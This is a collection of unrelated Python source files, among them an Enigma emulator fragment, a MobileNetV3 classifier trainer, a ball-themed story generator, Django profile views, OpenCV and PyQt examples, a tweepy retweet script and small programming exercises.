                if (i!=len(Rotors) - 1):
                    RotorPosition[i] = 0
                    doRotorTurn = i + 1
                else:
                    for p in RotorPosition:
                        p = 0
    #Pass through the rotors in order
    for R in Rotors:
        charIn = R[Alphabet.index(charIn)]
    #Reflect using reflector
    charIn = Reflector[Alphabet.index(charIn)]
    #Build reverse order rotor array
    reverseRotors = []
    for R in Rotors:
        reverseRotors.insert(0,R)
    #Pass through rotors in reverse order
    for R in reverseRotors:
        charIn = Alphabet[R.index(charIn)]
    #Pass through alphabet again
    charIn = Plugboard[Alphabet.index(charIn)]
    return charIn

def enigAskString():
    #Ask for a string then enigma it unless it is 'EXIT' or 'QUIT'
    global enigRun
    inEnig = input("Enigma >")
    inEnig = inEnig.upper()
    endStr = ""
    for i in inEnig:
        if (inEnig=="QUIT") or (inEnig=="EXIT"):
            enigRun = False
        elif (inEnig=="HELP"):
            printHelp()
            break;
        elif (inEnig=="DETECT"):
            print(detectEnigma())
            break;
        elif (inEnig=="STAT") or (inEnig=="STATUS"):
            enigmaStatus()
            break;
        else:
            if (i.upper()!=i.lower()):
                endStr = endStr + str(enigChar(i))
            else:
                endStr = endStr + i
    print(endStr)

def detectEnigma():
    #Detect the type of enimga machine based on settings
    enigType = ""
    if (len(Rotors)==3):
        if (Plugboard!=Alphabet):
            enigType = "Luftwaffe/Wehrmacht - Drei Walzenlage"
        else:
            enigType = "Commercial Enigma I"
    elif (len(Rotors)==4):
        enigType = "Kriegsmarine - Vier Walzenlage"
    else:
        enigType = "None - Custom setup"
    return enigType

def correctSetupCheck():
    #Check arrays
    if (len(Rotors)!=len(RotorPosition)):
        print("Rotor array length isn't the same as the Rotor positions array length.")
        print("You must set a start position for all rotors.")
        sys.exit(0)
    else:
        print("Settings OK!")

if __name__ == "__main__":
    #Unnessesary extravagance
    print("""
======================
PyEnigma

Python Enimga Emulator
Written by Adam Soutar
======================

Defaulting to settings in script
Type 'Help' for commands
    """)

    print("Detected enigma type: " + detectEnigma())
    print("")
    # Check for correct setup
    print("Detecting settings...")
    correctSetupCheck()
    print("")
    #Main progam loop and exit code
    global enigRun
    enigRun = True
    correctForOffset()
    while (enigRun==True):
        enigAskString()
    print("End of Enigma program...")
    sys.exit(0)


import torch
import torchvision
import numpy as np
import os, random
from xml.dom.minidom import Document, parse
from PIL import Image
from torchvision.transforms import functional as F
import time
from model import *
from dataset import CLASSES

def readXml(filepath):
    domTree = parse(filepath)
    rootNode = domTree.documentElement
    object_node = rootNode.getElementsByTagName("class")[0]
    object_cls = object_node.childNodes[0].data
    return object_cls

def nll_loss(log_softmax, labels):
    loss_fn = torch.nn.NLLLoss(reduction="mean")
    loss = loss_fn(log_softmax, labels)
    #print(loss)
    return loss

def train_mbgd():
    Net = MobileNetV3_Large_Classification(class_num=102)
    print(Net)
    #in_channels = Net.fc.in_features
    #Net.fc = nn.Linear(in_channels, 102)
    #Net = ResNet_Offical()
    device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')
    print(device)
    Net.to(device)
    img_list = sorted(os.listdir("./dataset/images"))
    anno_list = sorted(os.listdir("./dataset/annotations"))

    optimizer = torch.optim.SGD(Net.parameters(), lr=0.001,momentum=0.9, weight_decay=0.0005)
    batch_size = 20
    num_epochs = 20

    for epoch in range(num_epochs):
        for idx in range(0,7000,batch_size):
            img_path  = [os.path.join("./dataset/images", img_list[i]) for i in range(idx,idx+batch_size)]
            anno_path = [os.path.join("./dataset/annotations", anno_list[i]) for i in range(idx,idx+batch_size)]
            img  = [Image.open(path).convert("RGB") for path in img_path]
            anno = [CLASSES.index(readXml(path)) for path in anno_path]
            labels = torch.autograd.Variable(torch.Tensor(anno)).to(device).long()
            #func = ToTensor()
            #img, labels = func(img, labels)
            #img = img.to(device)
            img_var = [F.to_tensor(image) for image in img]
            img = torch.stack(img_var, dim=0).to(device)
            x = Net.forward(img)
            loss = nll_loss(x, labels)

            optimizer.zero_grad()
            loss.backward()
            optimizer.step()
            print("[%d]loss: %f" %(idx, loss))
        print("epoch[%d] finished." %epoch)

    torch.save(Net.state_dict(), "./weights/mobileNetV3_Large_20_model.pth")

def evaluate():

    device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')
    #device = torch.device('cpu')
    print(device)
    #Net = MobileNet_Classification(class_num=102)
    Net = MobileNetV3_Large_Classification(class_num=102)
    Net.load_state_dict(torch.load("./weights/mobileNetV3_Large_20_model.pth"))
    Net.eval()
    Net.to(device)

    img_list = sorted(os.listdir("./dataset/images"))
    anno_list = sorted(os.listdir("./dataset/annotations"))

    num = 0
    acc_num = 0

    start_time = time.time()

    for idx in range(7000, len(img_list)):
        img_path = os.path.join("./dataset/images", img_list[idx])
        anno_path = os.path.join("./dataset/annotations", anno_list[idx])
        labels = CLASSES.index(readXml(anno_path))
        img = Image.open(img_path).convert("RGB")
        img = F.to_tensor(img)
        img_var = torch.unsqueeze(img, dim=0).to(device)

        x = Net.forward(img_var)
        pred_cls = torch.argmax(x).item()
        print(idx,CLASSES[pred_cls])
        if labels == pred_cls:
            acc_num += 1
        num += 1

    end_time = time.time()
    cost_time = end_time - start_time
    print("cost time: %f" %cost_time)
    print("pre image cost time: %f" %(cost_time/num))
    print(acc_num)
    print(num)
    print(acc_num/num)

if __name__ == '__main__':
    #train_mbgd()
    evaluate()


'''
Lady Dunderscore's Ball

A work in progress about several characters at a vaguely Victorian ball.
They dance, wander around, fall in and out of love, and become jealous.
'''

import random
from smew import Event, Actor, SmewModel

# Events
# -------------------------------------------------------------------
class GetReady(Event):
    match = ["character"]

    narrative = [
        "{name} is getting dressed at home.",
        "{name}'s servants help them into their most elegant outfit for the night.",
        "'Oh {name}, you look wonderful!' their mother exclaims as they prepare to leave."
    ]

    def filter(self, a):
        return a.location == "home"

    def action(self, a):
        self.narrate(name=a)

class Arrive(Event):
    match = ["character"]
    narrative = [
        "{name} arrives at the ball.",
        "At last, {name} has arrived.",
        "{name}'s name is called at the top of the stairs, announcing their arrival."
    ]

    def filter(self, a):
        return a.location == "home"

    def action(self, a):
        a.location = "main hall"
        self.narrate(name=a)

class Move(Event):
    match = ["character", "room"]
    narrative = [
        "{a} decides to go from the {start} to the {end}.",
        "{a} follows the crowd to the {end}",
        "'I'm going to the {end},', {a} announces."
    ]

    def filter(self, a, b):
        return a.location != "home" and a.location != b.name

    def action(self, a, b):
        start = a.location
        a.location = b.name
        self.narrate(a=a, end=b, start=start)

class Notice(Event):
    match = ["character", "character"]
    narrative = [
        "{a} notices {b} across the room.",
        "{b} accidentally brushes against {a}.",
        "{a} turns and sees {b} standing right there."
    ]
    def filter(self, a, b):
        return (a.location != "home" and
                a.location == b.location and
                not self.get_related(a, "loves", b))

    def action(self, a, b):
        self.narrate(a=a, b=b)
        event = FallInLove(self.model, a, b)
        event.run()

class FallInLove(Event):
    match = ["character", "character"]

    narrative = [
        "{a} is smitten with {b}.",
        "At the sight of {b}, {a}'s heart suddenly beats faster.",
        "Suddenly, {a} realizes just how beautiful {b} looks tonight.",
        "{a} can't help but notice {b}'s sparking wit."
    ]

    def filter(self, a, b):
        return False # Can only be directly called from another event.

    def action(self, a, b):
        self.narrate(a=a, b=b)
        a_loves = self.get_related(a, "loves")
        if len(a_loves) > 0:
            for crush in a_loves:
                self.narrate(_text=f"All thoughts of {crush} are driven from {a}'s mind.")
                self.unrelate(a, "loves", crush, False)
        self.relate(a, "loves", b, False)

class DanceWithNPC(Event):
    match = ["character"]
    narrative = [
        "'May I have the next dance?' {name} is asked by a {partner}.",
        "A {partner} politely invites {name} to dance.",
        "A {partner} cuts in, insisting on a dance with {name}."
    ]

    def filter(self, a):
        return a.location=="main hall"

    def action(self, a):
        adjective = random.choice(["old", "young", "elegant", "handsome", "striking"])
        noun = random.choice(["debutante", "cavalry offier", "knight", "duchess", "matron"])
        self.narrate(name=a, partner=f"{adjective} {noun}")

class AskToDance(Event):
    match = ["character", "character"]
    narrative = {
        "asks": [ "{a} works up the courage and asks {b} for a dance.",
                 "'May I have the next dance?' {a} asks {b}."
                ],
        "rejection": ["'Perhaps later,' {b} answers coldly."],
        "dances": [
        "{a} takes {b}'s hand. As the music plays, they whirl across the floor.",
        "{a} and {b} step onto the floor and dance together."]
    }

    def filter(self, a, b):
        return (self.get_related(a, "loves", b) and
                a.location == "main hall" and a.location == b.location)

    def action(self, a, b):
        self.narrate(_origin="asks", a=a, b=b)
        if self.get_related(b, "hates", a):
            # B rejects A outright
            self.narrate(_origin="rejection", a=a, b=b)
            return
        elif self.get_related(b, "loves", a):
            # B is also in love with A
            self.narrate(_text="'It would be my pleasure,' {b}'s heart beats faster."
                               .format(b=b))
        self.narrate(_origin="dances", a=a, b=b)
        # B might fall in love with A
        if not self.get_related(b, "loves", a) and random.random() < 0.5:
            event = FallInLove(self.model, b, a)
            event.run()
        # If anyone else present loves B, they get jealous of A
        jealous = [actor for actor in self.model.get_tagged("character")
                          if actor.location == "main hall" and actor not in (a, b)
                          and self.get_related(actor, "loves", b)]
        for actor in jealous:
            event = GetJealous(self.model, actor, a)
            event.run()

class TalkQuietly(Event):
    match = ["character", "character"]
    narrative = [
        "{a} sits by {b}, and they talk quiety.",
        "{a} engages {b} in conversation.",
        "{a} and {b} converse on a setee in the salon."
    ]

    def filter(self, a, b):
        return (a.location == "salon" and b.location == "salon")

    def action(self, a, b):
        self.narrate(a=a, b=b)
        a_loves = self.get_related(a, "loves")
        if len(a_loves) > 0 and random.random() < 0.5:
            crush = random.choice(a_loves)
            adjective = random.choice(["beauty", "wit", "charm", "elegance"])
            _text = f"{a} can't help but mention {crush}'s {adjective}."
            self.narrate(_text=_text)
            if (self.get_related(b, "loves", crush) and
                    not self.get_related(crush, "loves", "b")):
                event = GetJealous(self.model, b, a)
                event.run()

class GetJealous(Event):
    match = []

    def filter(self, a, b):
        return False  # Only callable from other events

    def action(self, a, b):
        self.relate(a, "hates", b, False)
        self.narrate(a=a, b=b)

    narrative = [
        "{a} stares at {b}, eyes narrow with jealousy.",
        "{a} feels a surge of jealousy towards {b}.",
        "{a} burns with jealousy toward {b}.",
        "{b} is oblivious to {a}'s jealous rage."
    ]

## Set up characters
names = ["Arabella", "Brenden", "Caroline", "De Viers", "Emilia",
         "Fitzroy", "Ginny", "Hayes", "Isabelle", "John"]
#names = ["Arabella", "Brenden", "Caroline"]
actors = [Actor(name, "character", {"location": "home"}) for name in names]

# Set up rooms
room_names = ["main hall", "salon", "gardens"]
rooms = [Actor(name, "room") for name in room_names]
actors += rooms

#events = [Arrive, FallInLove, DanceWithNPC]
events = Event.__subclasses__()
model = SmewModel(actors, events)

if __name__ == "__main__":
    for _ in range(50):
        model.advance()
        print("")


import semantic_scholar.s2data as s2data
import utils.data as u_data
from tqdm import tqdm
import re
import math
import json

#
# Goal:
#   find the citers that weren't grepped into `citersdict`
#

# DEPRECATED
# compile all of the s2 corpus files
# together into one big megafile, so its
# faster to grep it for titles
#

gA_dict = s2data.get_dict_gA()
gA_string = str(gA_dict)

#
# search for all the papers
#

missing = {}

# loop through titles of papers
cfns = [ fn for fn in u_data.getConferenceFilenames() ]
last_i = len(cfns) - 1

# start index
i = 0

cfns = cfns[i:] # already did the first 43

for cfn in tqdm(cfns):

    cname = cfn.replace(".json","")
    data = u_data.getPapers(cfn)
    papers = data["papers"]

    for p in papers:
        title = p["title"]
        string = "'title': '"+title+"'"
        string = re.escape(string)
        find = re.search(string, gA_string, re.IGNORECASE)
        if find==None: missing[p["title"]] = p

json.dump(missing, open(s2data.missing_gA_fn,"w+"))


import json

from django.http import HttpResponse, Http404, HttpResponseRedirect
from django.shortcuts import get_object_or_404
from django.template import RequestContext
from django.template.loader import render_to_string
from django.views.generic import ListView, DetailView, CreateView, UpdateView

from django.contrib.auth.models import User

from account.mixins import LoginRequiredMixin

from .conf import settings
from .utils import get_profile_model, get_profile_base

class ProfileListView(ListView):
    """
    List all profiles of a given type (or the default type, if
    profile_slug is not given.)

    If all_profiles is set to True, all profiles are listed.
    """
    template_name = "idios/profiles.html"
    context_object_name = "profiles"
    all_profiles = False

    def get_model_class(self):
        profile_slug = self.kwargs.get("profile_slug", None)

        if self.all_profiles:
            profile_class = get_profile_base()
        else:
            profile_class = get_profile_model(profile_slug)

        if profile_class is None:
            raise Http404

        return profile_class

    def get_queryset(self):
        profiles = self.get_model_class().objects.select_related()
        profiles = profiles.order_by("-date_joined")

        search_terms = self.request.GET.get("search", "")
        order = self.request.GET.get("order", "date")

        if search_terms:
            profiles = profiles.filter(user__username__icontains=search_terms)
        if order == "date":
            profiles = profiles.order_by("-user__date_joined")
        elif order == "name":
            profiles = profiles.order_by("user__username")

        return profiles

    def get_context_data(self, **kwargs):
        search_terms = self.request.GET.get("search", "")
        order = self.request.GET.get("order", "date")

        ctx = {
            "order": order,
            "search_terms": search_terms,
        }
        ctx.update(super(ProfileListView, self).get_context_data(**kwargs))

        return ctx

class ProfileDetailView(DetailView):

    template_name = "idios/profile.html"
    context_object_name = "profile"

    def get_object(self):
        profile_class = get_profile_model(self.kwargs.get("profile_slug"))

        if profile_class is None:
            raise Http404

        if settings.IDIOS_USE_USERNAME:
            self.page_user = get_object_or_404(User, username=self.kwargs["username"])
            profile = get_object_or_404(profile_class, user=self.page_user)
        else:
            profile = get_object_or_404(profile_class, pk=self.kwargs["pk"])
            self.page_user = profile.user

        if not self.request.user.has_perm("can_view", obj=profile):
            raise Http404

        return profile

    def get_context_data(self, **kwargs):
        base_profile_class = get_profile_base()
        profiles = base_profile_class.objects.filter(user=self.page_user)

        is_me = self.request.user == self.page_user

        ctx = {
            "is_me": is_me,
            "page_user": self.page_user,
            "profiles": profiles,
        }
        ctx.update(super(ProfileDetailView, self).get_context_data(**kwargs))

        return ctx

class ProfileCreateView(LoginRequiredMixin, CreateView):

    template_name = "idios/profile_create.html"
    template_name_ajax = "idios/profile_create_ajax.html"

    def get_template_names(self):
        if self.request.is_ajax():
            return [self.template_name_ajax]
        else:
            return [self.template_name]

    def get_form_class(self):
        if self.form_class:
            return self.form_class

        profile_class = get_profile_model(self.kwargs.get("profile_slug"))

        if profile_class is None:
            raise Http404

        return profile_class.get_form()

    def form_valid(self, form):
        profile = form.save(commit=False)
        profile.user = self.request.user
        profile.save()
        self.object = profile

        return HttpResponseRedirect(self.get_success_url())

    def get_context_data(self, **kwargs):
        ctx = super(ProfileCreateView, self).get_context_data(**kwargs)
        ctx["profile_form"] = ctx["form"]
        return ctx

    def get_success_url(self):
        if self.success_url:
            return self.success_url
        return self.object.get_absolute_url()

class ProfileUpdateView(LoginRequiredMixin, UpdateView):

    template_name = "idios/profile_edit.html"
    template_name_ajax = "idios/profile_edit_ajax.html"
    template_name_ajax_success = "idios/profile_edit_ajax_success.html"
    context_object_name = "profile"

    def get_template_names(self):
        if self.request.is_ajax():
            return [self.template_name_ajax]
        else:
            return [self.template_name]

    def get_form_class(self):
        if self.form_class:
            return self.form_class

        profile_class = get_profile_model(self.kwargs.get("profile_slug"))

        if profile_class is None:
            raise Http404

        return profile_class.get_form()

    def get_object(self, queryset=None):
        profile_class = get_profile_model(self.kwargs.get("profile_slug"))

        if profile_class is None:
            raise Http404

        profile = profile_class.objects.get(user=self.request.user)
        return profile

    def get_context_data(self, **kwargs):
        ctx = super(ProfileUpdateView, self).get_context_data(**kwargs)
        ctx["profile_form"] = ctx["form"]
        return ctx

    def form_valid(self, form):
        self.object = form.save()
        if self.request.is_ajax():
            data = {
                "status": "success",
                "location": self.object.get_absolute_url(),
                "html": render_to_string(self.template_name_ajax_success),
            }
            return HttpResponse(json.dumps(data), content_type="application/json")
        else:
            return HttpResponseRedirect(self.get_success_url())

    def form_invalid(self, form):
        if self.request.is_ajax():
            ctx = RequestContext(self.request, self.get_context_data(form=form))
            data = {
                "status": "failed",
                "html": render_to_string(self.template_name_ajax, ctx),
            }
            return HttpResponse(json.dumps(data), content_type="application/json")
        else:
            return self.render_to_response(self.get_context_data(form=form))

    def get_success_url(self):
        if self.success_url:
            return self.success_url
        return self.object.get_absolute_url()


from setuptools import setup, find_packages

with open('.version') as v:
    version = v.read()

with open('README.md') as r:
    readme = r.read()

with open('requirements.txt') as req:
    requirements = req.read().splitlines()

extras_require = {
    'postgres': ['asyncpg>=0.12.0']
}

package_data = {
    '': ['LICENSE', 'README.md', 'COPYING', 'requirements.txt', '.version']
}

setup(
    name='minoshiro',
    version=version,
    description=('An async Python3.6 library to search for anime, manga and'
                 'light novel using various web apis.'),
    long_description=readme,
    url='https://github.com/Mino-shiro/Minoshiro',
    author='MaT1g3R, dashwav',
    license='MIT',
    packages=find_packages(exclude=['tests', 'docs']),
    include_package_data=True,
    package_data=package_data,
    install_requires=requirements,
    extras_require=extras_require,
    classifiers=[
        'Development Status :: 4 - Beta',
        'Framework :: AsyncIO',
        'Programming Language :: Python :: 3 :: Only',
        'Programming Language :: Python :: 3.6',
        'License :: OSI Approved :: MIT License',
        'Intended Audience :: Developers',
        'Natural Language :: English'
    ]
)


import sys # for import from parent directory
import os # for import from parent directory
current = os.path.dirname(os.path.realpath(__file__))
parent = os.path.dirname(current)
sys.path.append(parent)
import asyncio

from src.minimum_heap.min_heap import MinHeap
from src.graphs.search_item import SearchItem
from src.graphs.search_graph import SearchGraph
from src.search_engine.search_engine import SearchEngine
from example_program.calculate_weight import calc_edge_weight

def calc_similarities(item1: SearchItem, item2: SearchItem) -> int:
    """Returns an int similarity from two SearchItems."""
    set1 = item1.get_tags()
    set2 = item2.get_tags()
    similarity = 0
    set1_len = len(set1)
    # iterate thru the smaller set
    if set1_len == min(set1_len, len(set2)):
        for tag in set1:
            if tag not in set2:
                continue
            similarity += 1
    else:
        for tag in set2:
            if tag not in set1:
                continue
            similarity += 1
    return 10 - similarity

### globals
items = [
    SearchItem('Nate', {'tag1', 'tag2', 'tag3', 'tag4'}),
    SearchItem('Nathan', {'tag1', 'tag2', 'tag3', 'tag4'}),
    SearchItem('nathank', {'tag1', 'tag7', 'tag2', 'tag4'}),
    SearchItem('Haosen', {'tag6', 'tag5', 'tag3', 'tag4'}),
    SearchItem('haoli', {'tag1', 'tag5', 'tag6', 'tag4'}),
    # SearchItem('Test', {'tag8', 'tag5', 'tag9', 'tag10'}),
]

se = SearchEngine()
for item in items:
    se.add_item(item, calc_similarities)
###

async def search_results(query: str) -> MinHeap:
    return await se.search(query)

async def main():
    results = await search_results('nat')
    for result in results:
        print(f'{result}')
    print()
    print('Graph:')
    for row in se.graph:
        print(row)
    print()
    print('Items:')
    print(se.items)
    print()
    print('Items Dict:')
    print(se.item_dict)

if __name__ == '__main__':
    asyncio.run(main())


import cv2 as cv

src = cv.imread("./pictures/robot.jpg")
cv.namedWindow("input", cv.WINDOW_AUTOSIZE)
cv.imshow("input", src)

# 蓝色通道为零
mv = cv.split(src)
mv[0][:, :] = 0
dst1 = cv.merge(mv)
cv.imshow("output-blue0", dst1)

# 绿色通道为零
mv = cv.split(src)
mv[1][:, :] = 0
dst2 = cv.merge(mv)
cv.imshow("output-green0", dst2)

#  红色通道为零
mv = cv.split(src)  # opencv 中split函数和merge函数是一对互逆操作
mv[2][:, :] = 0  # split 可以把一幅画像各个通道分离开
dst3 = cv.merge(mv)  # 经过对各个通过单独操作后可以用merge函数合并。
cv.imshow("output-red0", dst3)

cv.mixChannels(src, dst3, [1, 0])
# mixChannels()函数用于将输入数组的指定通道复制到输出数组的指定通道
# src 输入矩阵的向量 dst输出矩阵的向量
# [2, 0] 决定将2通道的数据拷贝到0通道
cv.imshow("output", dst3)

cv.waitKey(0)
cv.destroyAllWindows()

8.图像通道分离合并.py

8.图像通道分离合并.py


# Python program to find the sum of the digits of an integer using while loop

while True:
    num = input('Enter a positive integer: ')
    num = int(num)
    if num < 0:
        print('You provided a negative integer!')
    else:
        digit1 = 0
        while num > 0:
            digit = num % 10
            digit1 = digit1 + digit
            num = num // 10
        print(f'The sum of numbers given in input is: {digit1}')
        break


"""OvertakingStateMachine keeps track of overtaking obstacles.

See :mod:`simulation.src.simulation_evaluation.src.state_machine.states.overtaking` for
implementation details of the states used in this StateMachine.
"""

from typing import Callable

from simulation.src.simulation_evaluation.src.state_machine.states.overtaking import (
    Left,
    Off,
    Right,
)

from .state_machine import StateMachine

class OvertakingStateMachine(StateMachine):
    """Keep track of overtaking obstacles."""

    off: "State" = Off()  # noqa: F821
    """Default state"""
    right: "State" = Right()  # noqa: F821
    """The car is inside the the overtaking zone and on the right line"""
    left: "State" = Left()  # noqa: F821
    """The car is inside the the overtaking zone and on the left line"""

    def __init__(self, callback: Callable[[], None]):
        """Initialize OvertakingStateMachine.

        Arguments:
            callback: Function which gets executed when the state changes
        """
        super().__init__(
            state_machine=self.__class__,
            initial_state=OvertakingStateMachine.off,
            callback=callback,
        )


#!/usr/bin/env python

from PyQt4 import QtCore, QtGui
from PyQt4.QtGui import *
import sys

class Dialog_box(QtGui.QWidget):

    def __init__(self, parent=None):
        super(Dialog_box, self).__init__(parent)

        self.setWindowTitle("Choose a Toolkit")
        nameLabel = QtGui.QLabel("Choose one of these:")
        self.btn = QtGui.QPushButton('PyQT', self)
        self.btn.clicked.connect(self.pyqtbox)
        self.btn2 = QtGui.QPushButton('Tkinter', self)
        self.btn2.clicked.connect(self.tkbox)
        self.btn3 = QtGui.QPushButton('Close', self)
        self.btn3.clicked.connect(self.close)

        buttonLayout = QtGui.QHBoxLayout()
        buttonLayout.addWidget(self.btn, 0)
        buttonLayout.addStretch(1)
        buttonLayout.addWidget(self.btn2, 0)
        buttonLayout.addStretch(1)
        buttonLayout.addWidget(self.btn3, 0)

        mainLayout = QtGui.QVBoxLayout()
        mainLayout.addWidget(nameLabel, 0 )
        mainLayout.addLayout(buttonLayout)
        self.setLayout(mainLayout)
        self.setGeometry(400,350,340, 100)
        self.setFixedSize(340, 100)

    def pyqtbox(new):

        new=QtGui.QDialog()
        new.setWindowTitle("PyQT")    																#Title of the box
        new.btn3 = QtGui.QPushButton('OK',new)												#Creating buttons and their actions
        new.btn4 = QtGui.QPushButton('Cancel',new)
        new.btn3.clicked.connect(new.close)
        new.btn4.clicked.connect(new.close)

        nameLabel2 = QtGui.QLabel("Name and Address :")								#Adding labels
        nameLabel3 = QtGui.QLabel("I am :")
        nameLabel4 = QtGui.QLabel("Date of Birth :")

        new.nameLine2 = QtGui.QTextEdit()															#Creating text box.

        new.chb1=QtGui.QCheckBox('I am a student.',new)								#Creating checkboxes.
        new.chb2=QtGui.QCheckBox('I am an employee.',new)
        new.chb3=QtGui.QCheckBox('I like reading novels.',new)
        new.chb4=QtGui.QCheckBox('I am addicted to the internet.',new)

        new.rb1=QtGui.QRadioButton('Male',new)												#Creating radio buttons.
        new.rb2=QtGui.QRadioButton('Female',new)

        new.cmb1=QtGui.QComboBox(new)																	#Creating Combo boxes.
        new.cmb2=QtGui.QComboBox(new)
        new.cmb3=QtGui.QComboBox(new)
        list=("January" , "February", "March", "April", "May", "June" , "July", "August", "September", "October", "November", "December")

        new.cmb1.addItem("Day")																				#Adding items to combo boxes.
        for i in range(1,32):
          new.cmb1.addItem(str(i))
        new.cmb2.addItem("Month")
        new.cmb2.addItems(list)
        new.cmb3.addItem("Year")
        for i in range(1940,2013):
          new.cmb3.addItem(str(i))

        new.cmb1.setStyleSheet("QComboBox { combobox-popup: 0; }")		#Combobox drop down
        new.cmb2.setStyleSheet("QComboBox { combobox-popup: 0; }")
        new.cmb3.setStyleSheet("QComboBox { combobox-popup: 0; }")

        buttonLayout2 = QtGui.QHBoxLayout()							  						#Layout of the "OK" and "Cancel" buttons.
        buttonLayout2.addStretch(1)
        buttonLayout2.addWidget(new.btn3, 0)
        buttonLayout2.addWidget(new.btn4, 0)
        new.btn3.setFocusPolicy(QtCore.Qt.NoFocus)
        new.btn4.setFocusPolicy(QtCore.Qt.NoFocus)

        radioLayout=QtGui.QHBoxLayout()                   						#Layout of the radio buttons.
        radioLayout.addWidget(new.rb1)
        radioLayout.addWidget(new.rb2)
        new.rb1.setFocusPolicy(QtCore.Qt.NoFocus)
        new.rb2.setFocusPolicy(QtCore.Qt.NoFocus)

        comboLayout=QtGui.QHBoxLayout()                   						#Layout of the combo buttons.
        comboLayout.addStretch(1)
        comboLayout.addWidget(new.cmb1,1)
        comboLayout.addWidget(new.cmb2,1)
        comboLayout.addWidget(new.cmb3,1)
        new.cmb1.setFocusPolicy(QtCore.Qt.NoFocus)
        new.cmb2.setFocusPolicy(QtCore.Qt.NoFocus)
        new.cmb3.setFocusPolicy(QtCore.Qt.NoFocus)

        checkLayout=QtGui.QVBoxLayout()                   						#Layout of the check boxes.
        checkLayout.addWidget(new.chb1)
        checkLayout.addWidget(new.chb2)
        checkLayout.addWidget(new.chb3)
        checkLayout.addWidget(new.chb4)
        new.chb1.setFocusPolicy(QtCore.Qt.NoFocus)
        new.chb2.setFocusPolicy(QtCore.Qt.NoFocus)
        new.chb3.setFocusPolicy(QtCore.Qt.NoFocus)
        new.chb4.setFocusPolicy(QtCore.Qt.NoFocus)

        mainLayout2 = QtGui.QVBoxLayout()															#Main layout
        mainLayout2.addWidget(nameLabel2, 0 )
        mainLayout2.addWidget(new.nameLine2, 0 )
        mainLayout2.addWidget(nameLabel3, 0 )
        mainLayout2.addLayout(radioLayout)
        mainLayout2.addWidget(nameLabel4, 0 )
        mainLayout2.addLayout(comboLayout)
        mainLayout2.addLayout(checkLayout)
        mainLayout2.addLayout(buttonLayout2)

        new.setLayout(mainLayout2)

        new.resize(400, 380)																					# new.setFixedSize(400, 380)
        new.show()
        QDialog.exec_(new)

    def tkbox(self):
        import P2010CS1007_tkinter

def main():
    app = QtGui.QApplication(sys.argv)
    Input_box = Dialog_box()
    Input_box.show()
    sys.exit(app.exec_())

if __name__ == '__main__':
    main()


testCases=int(input())
stack=[]
for i in range(testCases):
    sumTwo=1
    maxValue=int(input())
    for i in range(1,maxValue):
        sumTwo+=i
        if sumTwo>=maxValue:
            stack.append(i)
            break

for i in stack:
    print(i)


#MUST USE ATLEAST 3 AND NOT HAVE A SCRIPT WITH THE NAME AS EMAIL.PY IN THE SAME DIRECTORY

import os
import tweepy
import time

consumer_key = os.environ.get("consumer_key")
consumer_secret = os.environ.get("consumer_secret")
access_token = os.environ.get("access_token")
access_token_secret = os.environ.get("access_token_secret")

auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_token_secret)
api = tweepy.API(auth)
newtime = time.strftime("%A %B %d, %Y and its %X %Z",time.localtime())
#get input
whattolookfor = input("What keyword would you like to look for?\n>")
numberofTweets = int(input("How many tweets would you like to retweet?\n>"))

user = api.me()
print(user.name)
print(f"Current time {newtime}")
print(f"Retweeting {numberofTweets} tweets that contain {whattolookfor}.")

def main():
    search = (whattolookfor)

    for tweet in tweepy.Cursor(api.search, search).items(numberofTweets):
        try:
            tweet.retweet()
            print("Tweet Retweeted")
        except tweepy.TweepError as e:
            print(e.reason)
        except StopIteration:
            break
main()


import logging

import allure
from selenium.webdriver.common.by import By

from Components import TableFilterComponent
from Utils.RunTest.run_test import run_certain
from Pages.basepage import BasePage

from Utils.RunTest.get_driver import get_driver

class Page(BasePage):
    path = "https://mc-test.teletraan.io/subapp/sale/order"
    table_filter = TableFilterComponent(By.XPATH, "//form")

class TestTableFilter:
    def setup_class(self):
        self.driver = get_driver()
        self.table_filter = Page(self.driver).table_filter

    @allure.title("拿到所有的filter")
    def test1(self):
        logging.info(self.table_filter.filters)
        assert self.table_filter.filters

    @allure.title("清除filter")
    def test2(self):
        self.table_filter.clear_filters()

    @allure.title("设定filter")
    def test3(self):
        self.table_filter.set_filters(
            {
                "客户经理": "xin001",
                "收款情况": "已收款",
                "关键字": "1"
            }
        )

if __name__ == '__main__':
    run_certain(__file__)


import numpy as np
import matplotlib.pyplot as plt
import matplotlib.animation as animation

class SOM:
    def __init__(self, x=25, y=25):
        self.shape = (x, y)
        self.neurons = np.random.random_sample((x, y, 3))
        self.input = np.random.random_sample((x + y, 3))

    def train(self):
        self.ims = []
        self.iteration = 0
        for neuron in self.input:
            self.iteration += 1

            sigma0 = max(self.shape[0], self.shape[1]) / 2
            alpha = len(self.input)/np.log(sigma0)
            sigma = sigma0*np.exp(-self.iteration/alpha)

            distances = np.full(self.neurons.shape, neuron)
            dist = np.vectorize(np.linalg.norm)
            distances = dist(self.neurons - distances)
            center = np.unravel_index(distances.argmin(), distances.shape)
            center = np.array([center[0], center[1]])

            for i in range(self.shape[0]):
                for j in range(self.shape[1]):
                    dist = np.linalg.norm(center - np.array([i, j]))
                    if (dist < sigma):
                        L0 = 0.8
                        L = L0 * np.exp(-self.iteration/alpha)
                        Theta = np.exp(-(dist**2/sigma**2))
                        self.neurons[i, j] = self.neurons[i, j] + Theta * L * (neuron - self.neurons[i, j])
                        im = plt.imshow(self.neurons, cmap='hot', animated=True)
                        self.ims.append([im])

if __name__ == '__main__':
    som = SOM()
    som.train()

    fig = plt.figure()
    ani = animation.ArtistAnimation(fig, som.ims, interval=1, blit=True, repeat=False)
    plt.show()


def solution(grid):
    di, dj = (-1,0,1,0), (0,1,0,-1)
    arr = [[[0, 0, 0, 0] for _ in range(len(grid[0]))] for _ in range(len(grid))]
    answer = []
    m, n = len(arr), len(arr[0])
    def traverse(i, j, k):
        dist = 0
        while not arr[i][j][k]:
            arr[i][j][k] = 1
            dist += 1

            i = (i + di[k]) % m
            j = (j + dj[k]) % n

            if grid[i][j] == 'L':
                k = (k + 1) % 4
            elif grid[i][j] == 'R':
                k = (k - 1) % 4

        return dist

    for i in range(m):
        for j in range(n):
            for k in range(4):
                if not arr[i][j][k]:
                    answer.append(traverse(i, j, k))

    return sorted(answer)

프로그래머스/level2/빛의 경로 사이클.py

빛의 경로 사이클.py


import time
import random

game_winner = 0
